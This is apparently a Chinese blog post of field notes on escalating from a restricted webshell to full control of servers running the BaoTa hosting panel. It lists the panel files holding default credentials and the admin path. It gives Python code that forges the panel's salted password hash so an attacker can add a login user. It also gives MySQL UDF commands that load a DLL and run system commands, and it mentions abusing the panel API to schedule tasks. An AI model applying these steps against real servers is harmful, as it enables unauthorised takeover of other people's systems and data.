首页 笔记

实战中遇到的总结下

注:这里的环境是已经拿到了webshell,只是disable_function限制了不能执行命令

1. 获取宝塔后台权限

一般是直接找初始密码,默认在宝塔安装目录下的/panel/data/default.pl
82771-53un0rwj04f.png

宝塔后台地址在宝塔安装目录下的/panel/data/admin_path.pl

27921-n1jpcwr8v9f.png

宝塔的数据库在宝塔安装目录下的/panel/data/default.db中,其中包含用户名、盐、加盐的密码等
40005-qd1nb1xpcmg.png

如果初始密码已经被修改,可以通过修改default.db添加用户来登录宝塔面板

import hashlib


def md5(content):
    d = hashlib.md5()
    d.update(content.encode('utf-8'))
    return d.hexdigest()


pwd = 'pwd_xx'
salt = 'salt_xx'

print(md5(md5(md5(pwd) + '_bt.cn') + salt))

后续操作不用多说了

2. UDF提权

  • 当MySQL版本<5.1时,将dll文件放至C:\windowsC:\windows\system32目录下。
  • 当MySQL版本>5.1时,将dll文件导入到MYSQL安装目录的\lib\plugin目录下(若该目录默认不存在,则自行创建)

这里mysql就在宝塔安装目录下,所以放置到其下的插件目录就行了,然后就是引入函数执行命令了

show variables like '%plugin%';
CREATE FUNCTION hello RETURNS STRING SONAME 'lib_mysqludf_sys_64.dll';
select * from mysql.func;
select hello('whoami');

33646-9u8jcyb3h6k.png

3. 其他

还有通过修改宝塔config/api.json开启宝塔API来添加定时任务等方式来拿权限



文章评论

目录